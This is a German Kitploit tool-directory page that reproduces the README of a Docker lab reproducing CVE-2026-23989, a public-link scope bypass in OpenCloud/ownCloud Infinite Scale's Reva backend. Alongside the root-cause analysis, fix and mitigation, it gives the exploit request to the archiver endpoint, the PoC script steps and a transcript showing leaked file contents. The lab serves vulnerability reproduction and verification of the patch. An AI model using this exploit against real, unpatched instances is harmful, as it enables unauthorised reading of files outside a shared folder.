Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-23989-opencloud-lab — # Reproduktionslabor (A/B Docker) für CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale Public-Link-Scope-Validierungs-Bypass in Reva | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-23989-opencloud-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubdinosn/cve-2026-23989-opencloud-lab

cve-2026-23989-opencloud-lab

# Reproduktionslabor (A/B Docker) für CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale Public-Link-Scope-Validierungs-Bypass in Reva

Repository anzeigen
1vor 12h 18mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale Public-Link-Scope-Bypass

Eine eigenständige Ein-Befehl-Lab-Umgebung, die CVE-2026-23989 reproduziert und beweist, dass er behoben ist, unter Verwendung der offiziellen Upstream-Docker-Images. Ein öffentlicher Freigabe-Link, der Zugriff auf einen Ordner gewähren soll, kann missbraucht werden, um Dateien außerhalb des Geltungsbereichs dieses Ordners zu lesen.

CVECVE-2026-23989
AdvisoryGHSA-vf5j-r2hw-2hrw („Public Link Exploit“)
CVSS 3.18.2 Hoch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
KlasseFehlerhafte Zugriffskontrolle — Pfad-Präfix-Verwechslung bei der Scope-Validierung
GrundursacheReva checkIfNestedResource verwendete strings.HasPrefix für die Pfad-Enthaltenseinsprüfung
BetroffenOpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1)
BehobenOpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522)
Offengelegt2026-02-05

Abstammung — warum dies ein „ownCloud“-Fehler ist

OpenCloud ist ein Fork von ownCloud Infinite Scale (OCIS) aus dem Jahr 2025, erstellt von ehemaligen ownCloud-Ingenieuren, nachdem Kiteworks ownCloud übernommen hatte. Der Fehler liegt in Reva, dem CS3-Speicher-Backend, das OCIS/OpenCloud gemeinsam nutzen, und — laut dem Advisory des Anbieters — „stammt aus der ownCloud-Codebasis (Kiteworks) und wurde geerbt, als OpenCloud OCIS forkte.“ OpenCloud wird hier verwendet, weil es saubere, gepinnte, öffentliche verwundbare und behobene Images liefert, die einen exakten A/B-Vergleich ermöglichen.


Der Fehler in einem Satz

internal/grpc/interceptors/auth/scope.go, Funktion checkIfNestedResource — der Gateway-Interceptor, der entscheidet, ob ein Public-Link-Token auf eine Ressource zugreifen darf:

root@kitploit:~
// verwundbar (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil

parentPath ist der Pfad des freigegebenen Ordners (der Scope des Links); childPath ist der Pfad der angeforderten Ressource. String-Präfix-Prüfung ist keine Pfad-Enthaltenseinsprüfung:

root@kitploit:~
parentPath = "/Shared"
childPath  = "/Shared-secret/flag.txt"          (ein Geschwister, KEIN Kind)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true   ← falsch: Zugriff gewährt

Ein Link mit Scope /Shared erreicht also auch jede gleichnamige Ressource, deren Pfad mit der Zeichenkette /Shared beginnt — z. B. /Shared-secret, /Shared-2024, /Shared backup. Der Fix ersetzt den Test durch filepath.Rel und lehnt jeden relativen Pfad ab, der mit .. beginnt (vollständiger Patch in patch/reva-scope.go.patch).


Wie er ausgenutzt wird — der Archiver-Dienst

Jede Gateway-Operation, die ein Public-Link-Token trägt, durchläuft die fehlerhafte Scope-Prüfung, aber die Primitive der Entdecker (und die dieser Lab-Umgebung) ist der Archiver-Dienst unter GET /archiver, authentifiziert für einen öffentlichen Link mit dem public-token:-Header. Er akzeptiert eine Ressourcen-ID (?id=<fileid>), durchläuft sie und streamt eine Zip-Datei. Zeigt man auf die ID eines außerhalb des Scopes liegenden Präfix-Geschwisters, lässt die fehlerhafte Prüfung es zu:

root@kitploit:~
GET /archiver?id=<id-of-/Shared-secret>
public-token: <link token scoped to /Shared>
→ 200, zip of /Shared-secret   (auf 4.0.2)
→ 404 "gateway could not find space for ref=…"   (auf 4.0.3)

Voraussetzung (ehrlich dargestellt)

Der Angreifer muss die Ressourcen-ID des außerhalb des Scopes liegenden Ziels liefern. Diese undurchsichtige ID ist eine zufällige UUID und nicht über den öffentlichen Link selbst aufzählbar (der Link kann den Space des Besitzers nicht auflisten — er gibt 401 zurück). In OCIS wird die oc:fileid einer Ressource jedoch in fast jeder WebDAV/Graph-Antwort, Freigabe-Einladung, Aktivitätsbenachrichtigung und Web-URL (/f/<id>) offengelegt, sodass jeder frühere Mitarbeiter, ehemalige Empfänger einer anderen Freigabe oder interne Benutzer sie regelmäßig besitzt — weshalb der Anbieter die Angriffskomplexität als Niedrig einstufte. Das setup.sh der Lab-Umgebung erhält die ID „als Opfer“, um sie an den Angreifer-Schritt zu übergeben, was dieses realistische Vorwissen modelliert. Pfad-Traversal (?path=../…) ist kein praktikabler Ersatz: Diese Pfade werden relativ zur Freigabe aufgelöst und bereinigt (404).

Schadensradius

  • Erreichbar: Ressourcen im selben Space, deren Pfad-Zeichenkette den Freigabepfad als Präfix enthält (der freigegebene Teilbaum selbst plus präfixübereinstimmende Geschwister).
  • Nicht erreichbar: der gesamte Space auf einen Schlag — der Pfad der Space-Wurzel ist "/" und HasPrefix("/", "/Shared") ist falsch (die Lab-Umgebung bestätigt dies: Space-Root- Archiv → 404). Nicht-Präfix-Geschwister wie /Private werden auch auf der verwundbaren Version verweigert — die Lab-Umgebung verwendet dies als Kontrolle, um zu beweisen, dass der Effekt spezifisch der Präfix-Fehler ist, nicht ein pauschaler Authentifizierungsfehler.

Was in dieser Lab-Umgebung enthalten ist

DateiZweck
docker-compose.ymlEin OpenCloud-Container; OC_TAG wählt verwundbar (4.0.2) oder behoben (4.0.3).
setup.shLegt das Opfer-Szenario im Space des Demo-Benutzers mary an und erstellt einen passwortlosen öffentlichen Link auf /Shared. Schreibt state.env.
exploit.shAngreifer-PoC. Erhält Link-Token + Ziel-Ressourcen-ID, ruft den Archiver auf und gibt exfiltrierte Bytes aus.
verify.shEin-Befehl-A/B: Reproduktion auf 4.0.2, Bestätigung der Behebung auf 4.0.3, Ausgabe einer PASS/FAIL-Matrix.
patch/reva-scope.go.patchDer exakte Upstream-Einzeilen-Fix, kommentiert.

Im persönlichen Space von mary angelegtes Szenario:

root@kitploit:~
/Shared/public-note.txt      ← über den öffentlichen Link geteilt      (im Scope)
/Shared-secret/flag.txt      ← das PoC-Ziel; Pfad-Präfix "/Shared"  (außerhalb des Scopes)
/Private/topsecret.txt       ← Kontrolle; kein Präfix              (außerhalb des Scopes, bleibt verweigert)

Schnellstart

Voraussetzungen: Docker + Docker Compose, curl, python3. Lädt ~250 MB an Images.

root@kitploit:~
./verify.sh

Erwartete Ausgabe:

root@kitploit:~
== Exploit + Kontrollen gegen VERWUNDBAR 4.0.2 ==
   [PASS] im Scope /Shared (legitimer Zugriff) (erwarteter Leak)
   [PASS] PoC: außerhalb des Scopes /Shared-secret (erwarteter Leak)
   [PASS] kein Präfix /Private (muss verweigert bleiben) (erwartete Verweigerung)

== Exploit + Kontrolle gegen BEHOBEN 4.0.3 ==
   [PASS] im Scope /Shared (funktioniert weiterhin) (erwarteter Leak)
   [PASS] PoC: außerhalb des Scopes /Shared-secret (behoben) (erwartete Verweigerung)

== Urteil ==
   5 bestanden, 0 fehlgeschlagen
   CVE-2026-23989 auf 4.0.2 reproduziert und auf 4.0.3 als behoben bestätigt.

Rolling-Release-Paar statt stable:

root@kitploit:~
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh

Manuelle Schritt-für-Schritt-Anleitung

root@kitploit:~
# 1. verwundbare Version hochfahren
OC_TAG=4.0.2 docker compose up -d

# 2. Opfer-Szenario anlegen (erstellt den öffentlichen Link, schreibt state.env)
./setup.sh

# 3. Angriff: außerhalb des Scopes liegendes Geschwister leaken (liest Ziel aus state.env)
./exploit.sh                                   # verwendet standardmäßig die /Shared-secret-ID
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")"   # Kontrolle: verweigert

Echtes Transkript gegen die verwundbare Version (state.env-Werte variieren pro Lauf):

root@kitploit:~
===== EXPLOIT  /Shared-secret  (außerhalb des Scopes, Präfix-Geschwister) =====
[*] Public-Link-Token: UVWPXGsjlLJRYxK   (Scope: ein einzelner freigegebener Ordner)
[*] HTTP 200,      365 Bytes
      Shared-secret/flag.txt:
        FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK BESTÄTIGT — Dateibytes außerhalb des Scopes über den öffentlichen Link exfiltriert.

===== KONTROLLE  /Private  (außerhalb des Scopes, kein Präfix) =====
[*] HTTP 404,      249 Bytes
[-] VERWEIGERT — Server lehnte ab: error: not found: gateway could not find space for ref=…

Bestätigen Sie den Fix mit denselben Daten (gleiches Token und IDs):

root@kitploit:~
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh          # jetzt → HTTP 404, VERWEIGERT

Abbau:

root@kitploit:~
docker compose down -v

Abhilfe

  • Upgrade auf OpenCloud 4.0.3 / 5.0.2 oder später (Reva v2.40.3 / v2.42.3). Für ownCloud Infinite Scale auf eine Reva-Version ≥ v2.40.3 / v2.42.3 aktualisieren.
  • Noch kein Upgrade möglich: öffentliche Links deaktivieren — setzen Sie GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" auf dem Container. Der Anbieter bestätigt, dass dies das Problem vollständig entschärft (ein öffentlicher Link gibt dann einen Fehler zurück).

Hinweise zur Lab-Konfiguration (warum dies nicht produktionssicher ist)

docker-compose.yml schwächt die Instanz bewusst, damit der PoC skriptbar ist: PROXY_ENABLE_BASIC_AUTH=true (damit curl -u/public-token ohne den OIDC- Tanz funktionieren), IDM_CREATE_DEMO_USERS=true (mary/demo usw. — öffentliche Passwörter), IDM_ADMIN_PASSWORD=admin, passwortlose öffentliche Links und ein selbstsigniertes Zertifikat (curl -k). Keines davon ist die Schwachstelle; sie machen sie nur in einer Shell beobachtbar. Der Bypass selbst ist unabhängig davon.

Referenzen

  • GitHub-Advisory: https://github.com/opencloud-eu/opencloud/security/advisories/GHSA-vf5j-r2hw-2hrw
  • Anbieterhinweis: https://opencloud.eu/en/news/opencloud-developers-find-vulnerability
  • Fix (Reva): https://github.com/opencloud-eu/reva/pull/522 — Commit 8d52003
  • OSV: https://osv.dev/vulnerability/CVE-2026-23989
Tool herunterladen